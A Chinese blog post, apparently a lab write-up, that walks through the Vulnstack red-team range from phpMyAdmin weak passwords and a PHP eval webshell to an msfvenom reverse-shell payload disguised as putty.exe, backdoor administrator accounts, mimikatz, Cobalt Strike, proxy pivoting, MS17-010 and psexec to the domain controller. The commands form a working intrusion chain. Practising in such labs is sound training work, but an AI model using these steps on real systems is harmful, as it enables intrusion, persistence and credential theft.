小言_互联网的博客

ATT&CK实战系列——红队实战(—)

473人阅读  评论(0)

ATT&CK实战系列——红队实战(—)

前言

大家好呀,好久没有发过文章啦,最近刚刚接触内网,了解的不是很透彻,刚刚发现一个很不错的内网渗透的靶场,打了几天,几乎涵盖了外网渗透和内网渗透的各个思路和方法,想把靶场的知识和经验都分享给大家,写得不好,有些不足之处还请师傅们多多指出噢。

一、环境搭建

1.1 靶场下载

靶场下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
靶机通用密码: hongrisec@2019
这是我进去后,因为靶机太久没打了,密码过期了,重新设置的密码
win2K3:hongrisec@2019
win2008:Lza20001103
win7:Lza20001103

1.2 网卡配置

kali一个nat网卡,模拟外网攻击机
win7一个nat网卡,一个VMnet 1网卡,模拟web服务器

win2003一个VMnet 1网卡,模拟内网域成员主机
win2008一个VMnet 1网卡,模拟内网域控主机
拓朴图如下:
(win7为VM1,win2003为VM2,win2008为VM3)

设置完毕后VM1、VM2、VM3就在同一内网中了,只有VM1web服务器能够访问内网,所以要想访问win2008和win2003服务器必须要先拿下win7服务器,用它做跳板进内网进行横向渗透。
攻击机:
kali ip:192.168.118.136
win10 ip: 192.168.118.1
靶机:
win7 外网ip:192.168.118.137 内网ip:192.168.52.143
win03 ip: 192.168.52.141
win08 ip: 192.168.52.138

最后,在win7上使用phpstudy开启web服务。
配置完毕。

二、外网渗透

我们首先让靶机win7的apache运行起来,打开win7的phpstudy


主机进行访问win7的ip网址

nmap扫描,发现开放了80、3306端口

接下来我们要进行目录扫描,这里很几种扫描工具的方法,因为是练习,都介绍给大家,就是7K目录扫描和dirserach,以及御剑,由于御剑不太稳定,就不介绍了。
首先是dirserach目录扫描

发现根目录下有/phpMyAdmin/和/phpinfo.php敏感信息文件,我们再看看7K目录扫描的结果

发现也是只有http://192.168.118.137/phpmyadmin/地址是存在的,我们进去访问该地址

是数库登录的后台页面,我们尝试弱口令,admin/admin,root/root试试看

发现成功登录了。


接下来尝试上传webshell,获取系统权限
可以利用general_log和general_log_file拿shell
服务器绝对路径可以在phpinfo里找到

我们找到变量中的general_log和general_log_file,将general_log设置为on
修改general_log_file为Web服务下的文件



此时执行 select “<?php eval($_POST['cmd']);?>”; 语句,上传一句话木马,即可getshell。

访问该文件

发现文件打的开,我们拿蚁剑连接一下


连接蚁剑成功,我们打开终端,查看一下ip地址

现在就已经拿到shell了。不过,我们现在还不着急往下走,基于学习的目的,我们看一下扫到的备份文件:

可以猜测目标网站服务器上搭建了yxcms,访问http://192.168.118.137/yxcms/

然后可以在互联网上搜索一下yxcms的历史漏洞,看一下能不能利用。
不过,这里比较简单,直接告诉了我们后台地址和密码


在前台模板->管理模板文件->index_index.php处可编辑,插入PHP代码

在前台模板->管理模板文件->index_index.php处可编辑,插入PHP代码

这样第二种getshell的方式也出来了。
现在开始往下走。

三、内网渗透

1. 尝试远程登录


netstat -an | find “3389”
手动开启3389:
我们使用以下命令开启它(win7、win2003、winxp),运行后显示3389端口已经成功开启(关闭命令把如下0都换成1):
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

添加用户
net user Yokan !@#123qwe!@# /add # 添加账户密码
net localgroup administrators Yokan /add # 给Yokan账户添加为管理员权限
net user Yokan # 查询是否成功添加Yokan用户

使用账号:Yokan,密码:!@#123qwe!@# 登录远程桌面。但是登陆失败,nmap扫描3389端口发现状态为filtered。查看win7,防火墙开启了阻止所有与未在允许程序列表中的程序的连接,换句话说,设置了白名单,只能本地连接。
此时思路一般如下:
1.反弹一个msf的shell回来,尝试关闭防火墙
2.尝试使用隧道连接3389

2. msf反弹shell

首先在kali中用msfvenom生成一个hello.exe文件
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.118.136 lport=4444 -x putty.exe -e x86/shikata_ga_nai -f exe -o hello.exe


将该程序放在win10桌面,然后再通过蚁剑的终端上传上去。


我们打开kali中的msf进行反弹shell

设置攻击模块
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
options

set lhost 192.168.118.136
set lport 4444
run
然后再终端运行hello.exe

我们getsystem得到了最高权限了

尝试基础提权成功

开启远程桌面
run post/windows/manage/enable_rdp

打开主机的远程登录,尝试用刚才创建的账号进行连接


因为远程登录会断开该主机当前的连接,为了不惊动管理员,这里不远程登录

3. 使用mimikatz获取账号密码

3.1 蚁剑直接上传mimikatz




我们成功获取了win7的账号和密码。接下来当然是横向移动获取域内其他的主机了,我们先让win7cs上线,通过cs的相关模块进行横向移动攻击。
cs的安装步骤以及相应的使用方法,在往期的文章都有写到,大家可以回头看一下,这里就不在叙述了
打开kali的cs服务端程序

cd cs
chmod 775 teamserver
运行方式:服务端ip,并且设置连接密码,记住是kali的ip地址和kali的登录密码
./teamserver 192.168.118.136 2000
打开win10的cs客户端的cs.bat

在这里我是cs.bat

我们点击cs.bat,出现登录框
IP 端口 密码都是在KALI上设置的
我们进行连接


我们设置好了监听器后,就生成一个后门程序用于win7靶机上线




我们上传的蚁剑的shell中去


在终端运行artifact.exe后,发现win7靶机上线了。

3.2 域信息收集

输入shell whoami后,发现并不是system权限,我们需要提高到system权限


我们使用提权模块,使用之前创建好的tcp协议监听器和攻击模块svc.exe进行提权


我们看一下网络拓扑图

ipconfig /all看到有内网ip,有域

查询域列表 net view /domain

我的竟然是查不到的,在win7主机上也是,不知道是什么原因,所以基本上就继续不下去了,只能拿下win7主机,域控还没有拿。这里我介绍一下师傅们是怎么做的吧,也便于以后做一下参考吧。

内网信息收集的主要目的就是查找域控以及域内的其他主机,先附上部分内网信息收集的命令:

net view # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group “domain admins” /domain # 查看域管理员的名字
net group “domain computers” /domain # 查看域中的其他主机名
net group “doamin controllers” /domain # 查看域控制器主机名(可能有多台)


查询同域机器 net view

判断主域 net time /domain

查询域用户 net user /domain

查询当前计算机名、计算机全名、用户名、工作站、软件版本、工作站域、工作站域 DNS 名称、登录域 net config Workstation

当前域中的计算机列表: 在cs中执行net view
整理一下信息

域:god.org
域内有三个用户:Administrator、ligang、liukaifeng01
域内三台主机:ROOT-TVI862UBEH(192.168.52.141)、STU1(win7)、OWA
域控:OWA(192.168.52.138)
win7内网ip:192.168.52.143

四、横向移动

既然只有一个域,那就利用 net group “domain controllers” /domain 命令查看域控制器主机名,直接确认域控主机的名称为 OWA:

4、已经确认域控主机的名称为 OWA,继续执行命名net view查看查看局域网内其他主机信息(主机名称、IP地址),可得知域控主机的 IP 为 192.168.52.138,如下图所示:

局域网扫描出来除了域控主机之外还有另一台主机(名称为ROOT-TVI862UBEH),最后再确认一下该主机是否也是存在域中,故执行命令net group “domain computers” /domain 查看域中的其他主机名,发现包含ROOT-TVI862UBEH,故域中还包含一个域成员主机192.168.52.141,如下所示:

至此内网域信息搜集完毕,已经明确了域控主机为192.168.52.138,同时还存在另一台域成员192.168.52.141,接下来的目标就是横向渗透拿下域控!

4.1 添加路由、挂socks4a代理

添加路由的目的是为了让MSF其他模块能访问内网的其他主机,即52网段的攻击流量都通过已渗透的这台目标主机的meterpreter会话来传递
添加socks4a代理的目的是为了让其他软件更方便的访问到内网的其他主机的服务(添加路由一定要在挂代理之前,因为代理需要用到路由功能)

添加内网路由 run autoroute -s 192.168.52.0/24

arp -a查看一下所有接口的当前 ARP 缓存表

设置代理,设置成功后打开其他程序需在前面加上proxychains

meterpreter > background
[*] Backgrounding session 1…
msf5 exploit(multi/handler) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > show options
Module options (auxiliary/server/socks4a):
Name Current Setting Required Description


SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on.

Auxiliary action:

Name Description


Proxy

msf5 auxiliary(server/socks4a) > set SRVPORT 1080
SRVPORT => 1080
msf5 auxiliary(server/socks4a) > run
[] Auxiliary module running as background job 0.
[
] Starting the socks4a proxy server

然后打开/etc/proxychains.conf

测试一下可以成功访问192.168.52.0网段

4.2 拿下第二台主机

nmap扫描一下: 有防火墙(-PN、-sT必须加),具体我也不清楚为什么要-Pn -sT
proxychains nmap -p 0-1000 -Pn -sT 192.168.52.141


proxychains nmap -p 3389 -Pn -sT 192.168.52.141

proxychains nmap -Pn -sT 192.168.52.141

开放了445端口,所以利用 use auxiliary/scanner/smb/smb_version 可以扫描系统版本,扫描结果是win2003

使用nmap --script=vuln 192.168.52.141 扫一下漏洞
使用msf辅助模块进行扫描,查看是否存在ms17-010漏洞

三台机器都存在ms17-010
先看server2003这台主机
直接使用ms17-010打一个shell回来(这里要注意一下,msf内置的17-010打2003有时候多次执行后msf就接收不到session,而且ms17-010利用时,脆弱的server 2003非常容易蓝屏)
而且使用msf的代理之后就不能使用反向shell了,我们需要使用正向shell。
这里,我们可以先使用auxiliary/admin/smb/ms17_010_command来执行一些命令

use auxiliary/admin/smb/ms17_010_command
show options
set RHOSTS 192.168.52.141
set command net user Yokan !@#123qwe!@# /add #添加用户
run #成功执行
set command net localgroup administrators Yokan /add #管理员权限
run #成功执行
set command ‘REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f’
run #成功执行

这里特别注意,因为开启3389端口命令中有两个双引号,如果整条命令外面不用单引号扩一下,会出现一些符号闭合上的问题

然后使用proxychains连接 proxychains rdesktop 192.168.52.141


然后使用exploit/windows/smb/ms17_010_psexec 尝试去打一个shell回来
正向shell


因为是2003的机器,直接getsystem便得到了system权限

4.3 拿下域控

在前面我们已经拿到了域用户的帐号密码,即administrator、HONGRISEC@2019我们现在要做的就是如何登录到域控上去
定位到域控制器的ip为192.168.52.138
还是先利用smb扫描系统版本 auxiliary/scanner/smb/smb_version

因为之前抓到了域管理的账号密码所以直接使用 exploit/windows/smb/psexec 模块拿下域控,且是管理员权限


最终获得所有权限,后续还有权限维持和清除痕迹,由于时间有限没有继续。后续再进行可以尝试。
虽然最后拿下域控的结果是盗用大佬的图(自己没成功很不爽……),但是该靶场练习过程也学到了很多内网渗透的实战知识!比如 CS 与 MSF 如何联动、MSF 如何开启 Windows 靶机的远程桌面、如何进行哈希传递攻击等。内网渗透水还很深,继续加油吧!

总结

总体来说,篇幅比较长,我的能力也最多是到达域的信息收集那里,横向渗透还没有怎么了解过,希望以后有时间可以学习学习吧。
最近也是刚接触内网渗透,很多知识点掌握的不是很好,参考了网上很多的资料。
通过整个环境的搭建和查阅资料,对内网有了一个简单的了解,学到了很多,有不足之处,还请师傅多多指教噢。


转载:https://blog.csdn.net/lza20001103/article/details/125824627
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场